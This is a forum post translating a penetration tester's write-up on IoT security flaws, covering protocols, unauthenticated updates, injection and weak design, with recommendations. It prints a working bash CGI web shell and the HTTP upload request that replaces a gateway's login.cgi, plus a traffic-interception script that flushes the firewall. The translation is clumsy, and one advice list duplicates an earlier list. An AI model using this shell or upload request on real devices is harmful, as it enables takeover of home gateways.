首页
社区
课程
招聘
[翻译]物联网:我的测试经验和结论
2017-4-20 19:20 9552

[翻译]物联网:我的测试经验和结论

2017-4-20 19:20
9552

2016年10月30日

今年早些时候,我参与了对IoT解决方案的大量安全测试。 主要目标是搜索架构和最终解决方案中的漏洞。 我们测试的解决方案被认为是消费者解决方案,意味着它们将部署在用户的家中。 在这篇文章中,我将讨论IoT解决方案的一些问题和挑战。

什么是物联网?

在你的网络课程学习IPv6的时候,你的老师说,有一天每个设备在你的房子都会有一个IP,因为我们搬到一个IP空间近乎无限的空间的IPS , 你猜是什么样! 那一天是在这里,就是物联网、物联网基本上是每天使用对象,并将它们附加到互联网。 我们看的到常见物品,例如灯光、窗帘、空调机组和不常见的物品例如冰箱甚至厕所( 有一些实际应用)


物联网的定义是“提出了互联网以后的发展,日常物品有网络连接,允许,发送和接收数据。”。

一个共同的物联网解决方案的体系结构

我们通常能识别五个组成部分:

  • 控制器:控制等物理过程的关闭情况,类似的例子空调单位,门锁,窗帘,……
  • 网关:用于收集传感器信息和中央控制点和agregator premisse数据
  • 传感器:传感器检测环境,如光,运动,温度、湿度、水/电使用,…
  • “云”:网络接口或API驻留在Web用于收集数据和分析大型数据集。 一般来说这是用来做信息共享与其他政党或资源密集型analyitcs不能支持的本地设备
  • 移动:移动设备或主要使用,通常一个应用程序在设备上,控制物联网环境并与之交互

如果我们看到所使用的协议,我们通常会看到,云和网关直接传输使用诸如MQ或REST之类的协议,移动到云端和移动网关是大多数REST时间。 用于控制传感器和执行器的IoT环境本身通常使用这些无线协议之一(还有更多)

  • 无线网络
  • Zwave
  • 无线个域网
  • 蓝牙
  • RF433

这些协议中的每一个都有其优点和缺点。 在选择协议时有很多限制。 最大的问题是兼容性。 以下表格显示了协议之间的快速比较:

技术范围安全网络支持注释
Zwave30-60mAES-OFB,但在初始握手期间密钥可能会泄漏网状网络,传感器和执行器可以将消息中继到网关(例如A使用B作为中继点向网关发送消息)。 这是一个更广泛的网络支持。传输范围通常是选择Zwave在ZigBee上的关键因素,开发人员指出总的来说还好
ZigBee100米AES-CCM,但在初始握手期间密钥可能会泄漏网状网络,传感器和执行器可以将消息中继到网关(例如A使用B作为中继点向网关发送消息)。 这是一个更广泛的网络支持。ZigBee是一个开放标准
RF43330米无加密,可轻松重播一般来说便宜,范围也可以提高,如果制造商希望用户只使用他们的设备,则主要使用。
蓝牙6米没有加密,但跳频主要用于将手机连接


使用某种协议的主要因素是可兼容性。 例如,RF433具有较大的范围,但不具有网状网络或默认安全机制。 这意味着如果你想要安全性,你将不得不提出自己的协议,这意味着您的最终用户将无法仅仅购买任何现成的传感器或设备。 ZigBee和Zwave主要有这个。 ZigBee和Zwave之间的主要区别在于设备可以通信的范围。


您可以从Blackhat这个白皮书中找到有关ZigBee安全性的更多信息。 此外,还有一篇关于西格玛设计公司的论文。

https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly-wp.pdf

威胁引导

任何安全性评估需要您评估谁是对手,以及他们可能如何滥用或损害您的系统以及他们可能使用的方式。 当我做我的威胁向导时,我会考虑环境中包含的信息,设备的位置,以及它们可能造成的风险。 物联网设备的妥协可用于瞄准物联网环境,或者简单地使用僵尸网络中的机器人来攻击外部网络(或两者的组合)。 您应该评估每个执行器可以执行的操作以及某些传感器值如何影响环境。 要做到这一点,您必须对物联网生态系统的工作方式有一个很好的了解,可以使用什么类型的设备以及如何扩展。 我最近在GovWare参加的一个演讲讨论了Ransomare的事情。 主持人认为,在不久的将来,我们自己的家电可能会把我们当成人质。 例如门不打开,自动吸尘器关闭和打开或者更换温度以使食物变质:

常见的漏洞中发现的物联网解决方案

在进行测试时,我们发现了一系列漏洞:

  • 未经身份验证的更新机制
  • SQL / JSON注入
  • 糟糕的设计
  • 太多的信任

未经身份验证的更新机制

有许多不同的更新方式。 其中一些使用了Linux系统中发现的传统软件包管理器,其他的使用较少的传统手段,例如可以从同一网络上的计算机运行的可执行文件,以推出云环境中的更新。 这些家庭成长机制的最大问题是他们没有使用安全的方式来提供包裹。 例如,使用独立可执行文件的机制,访问可用于替换网关上的文件的隐藏API。 所有您需要做的是上传CGI文件并替换现有文件。 在这个具体情况下,网关正在bash CGI上运行,所以我们上传了自己的shell:

#!/bin/sh   echo -e "Content-type: text/html\r\n\r\n"   echo "blaat" #echo "$QUERY_STRING" CMD="$QUERY_STRING" test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g') $test2
POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1 Content-Type: multipart/form-data; boundary=------7cf2a327f01ae User-Agent: REDACTED Host: 192.168.1.98:8181 Content-length: 482 Pragma: no-cache   --------7cf2a327f01ae Content-Disposition: form-data; name="auth"   11366899 --------7cf2a327f01ae Content-Disposition: form-data; name="type"   w --------7cf2a327f01ae Content-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi" #!/bin/sh   echo -e "Content-type: text/html\r\n\r\n"   echo "blaat" #echo "$QUERY_STRING" CMD="$QUERY_STRING" test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g') $test2 --------7cf2a327f01ae

现在你可以猜测接下来发生了什么:

我的建议是使用现有的解决方案,如软件包管理器,或者如果您必须自己滚动,请在安装代码之前签署代码并进行验证。


SQL / NoSQL注入

SQL注入已经存在了很长时间,当然注入漏洞源于不能正确过滤输入,允许攻击者将特殊字符注入到查询中。 我们确实看到了很多解决方案,很多开发人员不认为这是NoSQL数据库的问题,或者也不知道这也可能是一个问题。 我的建议是确保您使用可以进行正确输入验证的审查库,并在您的代码库中始终如一地执行。 我不能分享任何这样的例子,但可以看一看这篇文章 websecurify 

糟糕的设计和太多的信任

由于有很少的框架可以参考,如果我们看到很多架构事情就会变得容易了,但如果单个组件被破坏或损坏,可能会给您带来极大的曝光。 此外,我们看到开发人员认为没有传统用户输入可用的通信不容易受到攻击。 在一个这样的情况下,我们注意到,当拦截网关和云之间的通信时,除了网关标识符(我们可以轻易枚举)之外没有认证。 这导致我们能够注入假的遥测,但也检索其他用户的信息。 其他一些实例包括:

  • 移动应用程序直接登录到数据库界面(对所有设备使用相同的密码)
  • 安全性太依赖于网络安全(例如,没有加密本地网络上的通信)
  • MQ消息在传输之前未签名或加密
  • 使用易于枚举或不可撤销(例如出生日期和姓名)信息作为识别用户网关的API密钥
  • 安全隐私:我听到最多的次数“他们永远不会发现!”
  • 内部开发的加密技术(没有加密技术)

我的建议在这里:

  • 对接收端的信息进行过滤和正确编码,这意味着客户端不应该为服务器进行过滤,客户端不应该期望服务器提供过滤信息。 这意味着如果你期望一个整数,检查是否是,如果你不知道什么是phishy正在发生。 一般使用审查和验证的框架。
  • 如果设备没有托管在您的网络中,那么将其视为不安全,并且不要指望任何输入是正确的或值得信赖的,请将其正确清理。
  • 在所有通信(HTTPS,加密的MQ)上使用适当的加密,不打开失败如果例如证书不是有效的
  • 识别某个网关的API密钥很常见。 由于标识符服务器作为身份验证令牌(因为用户无法给出用户名和密码才能正常工作),因此您需要确保使用加密安全的RNG随机生成标识符。 我通常建议至少使用128位(32个字符),但考虑到用户只需要在设置过程中提交(或者如果您可以在制造时配置),则应该优先做更长的时间。
  • 即使是最着名的密码学家也不会认为他们的算法得到保护,除非有几个独立方面审查,甚至有时也会出错。 所以如果你想做加密,使用现有的算法和参考实现,而不是提出自己的模型。

我仍然想简要讨论的一个好的设计。 开发人员想要解决的问题是上面没有讨论过的一件事。 用户很想用手机远程控制他们的服务。 例如打开一个空调或打开一个清洁女士的门。 问题在于,您的网关通常位于路由器后面,不能从Internet直接访问。 一些解决方案使用端口转发,但这也需要一个dyn DNS解决方案,需要用户的大量配置。


一般企业的做法是移动应用程序将向云端发送消息,网关将从那里获取。

如果我是开发人员我也不喜欢这个主意,有那么多的单点控制。 所以他用了签名的概念来解决。 这个想法是,如果你使用你的手机改变你房子的设置,则在将邮件发布到云端之前签名。 网关然后提取它并验证签名。 这意味着在任何时候,用于中继消息的云平台的妥协可能会被滥用以进一步危及其所有网关。


他所做的是编码QR代码生成器将生成一组二维码包含ID链接的门户用户帐户,也包含私钥(手机)和自己的公钥 钥匙在网关而不是在手机上产生的原因是因为没有用户友好的方式将其载入网关(它没有使用Web界面)。 家庭用户为目的的环境我认为它足够安全(尽管我仍然意识到从一个纯粹的安全角度来看,这可能不是最理想的)。 每当用户发送控制消息,消息签名,盖章和加密之前发送。网关将跟踪消息收到之前,防止重放攻击。


另一个我在这里看到的解决方案,以防云提供商想知道消息内部的内容,是提供一种类似的机制,使用HMAC和网关和手机之间的共享密钥。

为什么物联网仍然出错?

我和许多来自大公司和小型创业公司的开发人员合作过。 我看到的最安全的解决方案是来自一家非常大的电子产品供应商和一家五人创业公司。 所以公司的规模并不意味着安全。 我确实看到某些话题回到了为什么存在漏洞:

  • 创业公司往往依赖商业天使和外部投资者,他们必须尽可能快地建立一个工作原型
  • 重点往往是功能和功能,安全性来之后
  • 经验有限的开发和安全经验(新生毕业生的初创公司)
  • 安全需要时间,有时很难从第一次就是安全的
  • 没有很多参考架构或标准
  • 没有独立安全评估的预算(大多数测试我们做的是由另一方支付)

那么你如何处理这样的事情呢? 以下是开发过程中要关注的一些重要事项:

  • 做适当的威胁建模
  • 重点往往是功能和功能,安全性来之后
  • 经验有限的开发和安全经验(新生毕业生的初创公司)
  • 安全需要时间,有时很难从第一次得到
  • 没有很多参考架构或标准
  • 没有独立安全评估的预算(大多数测试我们做的是由另一方支付)

意识

安全会议的问题是,我们往往没有发现最需要它的人。 安全的含义一般人不感兴趣知道,这是他们常犯错误。 我曾经参加 Riot Games的Mark Hillick的演讲。 他面临同样的问题,一般发生安全错误的开发商没有参加安全事件教育。 为了解决这个问题,他们在内部编程社区的小插槽中预订了讨论所提出的主题的安全问题。 它基本上是一个轻松的安全介绍,让开发人员更加感兴趣和了解安全性。 我们必须做同样的事情,使安全成为物联网社区会议和聚会的组成部分。

结论

人们有兴趣将任何东西和一切都附加到互联网上,但是经常出现安全问题。 大多数问题是由于安全目标不清楚,缺乏经验和意识。 虽然有几个指导方针可用,但我们仍然处于一个阶段,安全的IoT架构的参考示例不容易获得。 最后要成功,我们必须对一般的物联网事件采取安全保障,不要指望他们来找我们,让他们对安全感兴趣和好奇,并对安全技能产生积极的影响。

以下是一些参考资料,以便您想了解更多有关物联网安全性或开始使用自己的安全解决方案:

我很想共享这个脚本,我用来通过像Burp这样的代理拦截从IoT网关到Internet的连接。 您需要的是一台笔记本电脑,其中一个连接到互联网,另一个连接到网关:

#!/bin/sh echo "Interface with internet connectivity: " read iInf echo "Secondary interface with rogue device: " read wInf echo "Stopping network manager ..." service network-manager stop echo "Stopping dnsmasq ..." service dnsmasq stop echo "Bringing down wireless interface ..." ifconfig $wInf down echo "Configuring wireless interface ..." ifconfig $wInf 192.168.1.1 netmask 255.255.255.0 echo "Starting dnsmasq as DHCP server ..." dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid echo "Stopping firewall and allowing everyone ..." iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT echo "Enabling NAT ..." iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE echo "Enabling IP forwarding ..." echo 1 > /proc/sys/net/ipv4/ip_forward echo "Gateway setup is complete" iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443 -j REDIRECT --to-port 8080


原文链接:http://cloud101.eu/iot/2016/10/30/iot-my-testing-experience.html

本文由 伤心蛙 编译




[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 19584
活跃值: (60093)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2017-4-20 21:29
2
0
辛苦了!
雪    币: 6
活跃值: (980)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lookzo 2018-1-2 19:45
3
0
这翻译的也是醉了
游客
登录 | 注册 方可回帖
返回